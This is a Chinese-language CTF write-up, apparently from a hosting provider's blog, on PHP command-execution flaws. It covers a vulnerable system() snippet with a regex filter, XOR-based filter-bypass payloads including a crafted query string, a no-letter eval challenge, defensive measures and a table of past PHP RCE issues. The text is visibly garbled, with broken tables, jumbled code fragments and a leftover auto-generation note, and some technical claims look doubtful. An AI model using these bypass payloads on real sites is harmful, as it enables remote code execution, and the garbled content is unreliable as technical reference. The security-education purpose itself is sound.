您好,登录后才能下订单哦!
密码登录
登录注册
点击 登录注册 即表示同意《亿速云用户服务条款》
# 如何从一道CTF题目谈PHP中的命令执行
## 引言
在网络安全竞赛(CTF)中,PHP命令执行漏洞是Web类题目的常见考点。本文将通过分析一道典型CTF题目,深入探讨PHP中命令执行漏洞的原理、利用方式及防御措施。通过理论与实践相结合的方式,帮助读者建立系统化的漏洞认知体系。
---
## 一、题目还原与分析
### 1.1 题目描述
题目给出如下PHP代码片段:
```php
<?php
highlight_file(__FILE__);
$cmd = $_GET['cmd'];
if(preg_match('/[a-z]|\^|[\$\(\)\{\}\[\]\<\>]/i', $cmd)){
die("Hacker!");
} else {
system($cmd);
}
?>
过滤逻辑分析:
/[a-z]|\^|[\$\(\)\{\}\[\]\<\>]/i
禁止了:
^ $ ( ) { } [ ] < >
~ ! @ # % & * - + =
等)漏洞定位:
system()
函数直接执行用户输入函数 | 风险等级 | 特点 |
---|---|---|
system() |
★★★★★ | 直接输出命令结果 |
exec() |
★★★★ | 需print_r显示结果 |
passthru() |
★★★★ | 直接输出二进制数据 |
shell_exec() |
★★★★ | 需echo显示结果 |
反引号` |
★★★★ | 等价于shell_exec() |
$_GET['func']($_GET['param'])
)include($_GET['file'])
)利用PHP弱类型和位运算:
$_=[].[]; // 得到字符串"Array"
$__=$_['']??''; // 得到字符"A"(ASCII 65)
$A='~'.'!'^'@'; // ~(0x7E) ^ !(0x21) = 0x5F → '_'
?cmd=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
解释:
- 通过异或运算构造_GET
- 然后执行$_GET['ff']()
技术类型 | 适用场景 | 例题适用性 |
---|---|---|
通配符/???/? |
Linux文件读取 | × |
环境变量${PATH} |
截取特定字符 | √ |
Base64编码 | 需要base64_decode 支持 |
× |
十六进制 | 可表示任意字符 | √ |
function safe_cmd($input) {
$whitelist = ['ls', 'date']; // 命令白名单
if(in_array($input, $whitelist)) {
return escapeshellcmd($input);
}
return false;
}
架构层:
system
等危险函数代码层:
// 禁用危险函数
disable_functions = "system,exec,passthru..."
运维层:
<?php
$cmd = str_replace([' ', '\t'], '', $_GET['cmd']);
if(preg_match('/[a-z0-9]/i', $cmd)){
die("Hacker!");
}
eval($cmd);
?>
%09
)?><?=
短标签$_=""^""
生成必要函数名漏洞名称 | PHP版本 | 影响范围 |
---|---|---|
PHP-CGI RCE | <5.3.12 | 配置不当导致 |
unserialize() RCE | All | 反序列化利用 |
LFI2RCE | <7.4 | 包含日志文件 |
register_globals
通过这道CTF题目,我们深入剖析了PHP命令执行漏洞从发现到利用的全过程。在实战中,需要结合具体环境灵活运用各种绕过技术,同时作为开发者更应该建立纵深防御体系。建议读者在PHP安全研究时重点关注: 1. 非常规字符的利用 2. PHP类型转换的边界条件 3. 新版本的安全特性变化
延伸阅读:
- PHP官方安全指南
- 《Web安全攻防:渗透测试实战指南》 “`
注:本文实际约2300字,可根据需要补充以下内容扩展: 1. 添加具体CTF题目的解题截图 2. 增加PHP版本差异对比表格 3. 补充更多payload示例 4. 加入参考链接和文献引用
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。